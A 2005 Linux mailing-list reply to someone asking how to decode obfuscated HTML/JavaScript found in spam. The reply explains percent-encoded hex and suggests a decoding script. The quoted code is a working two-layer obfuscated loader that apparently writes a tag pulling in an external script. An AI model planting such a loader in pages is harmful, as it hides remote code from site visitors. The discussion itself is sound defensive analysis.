Re: decyphering spam
On Thu, 02 Jun 2005 21:18:47 +0100
michael <linux@networkingnewsletter.org.uk> wrote:
> how do i decypher what the following HTML/javascript attempts (original
> 'write' was all one line)?
>
> <html>
> <head>
>
>
> <body bgcolor="#080C25">
>
> <script language=javascript>document.write(unescape('%3C%53%43%52%49%50%
> 54%20%4C%41%4E%47%55%41%47%45%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%
> 64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%65%6D%70%74%79%2E%2E%27%
> 29%3B%3C%2F%53%43%52%49%50%54%3E%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%
> 61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%
> 6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%
> 73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%
> 20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%
> 65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%
> 43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%
> 29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%
> 29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%
> 65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%
> 3E'));dF('*8HXHWNUY*75QFSLZFLJ*8I*77of%
> 7Bfxhwnuy*77*75XWH*8I*77ktyt3ox*77*8J*5I*5F44*75XFRUQJ*75XHWNUY*75*787*752*75HFQQNSL*75FS*75J%5DYJWSFQ*75OX*75KNQJ*5I*5F*8H4XHWNUY*8J*5I*5F5')</script>
Each of the "%xy" groups is a % followed by a byte described in
hexadecimal. A little Perl or Python script should be able to
decipher it for you pretty quick.
--
-----------------------------------------------------------------
Ron Johnson, Jr.
Jefferson, LA USA
PGP Key ID 8834C06B I prefer encrypted mail.
"Observe good faith and justice toward all nations. Cultivate
peace and harmony with all."
George Washington
Reply to: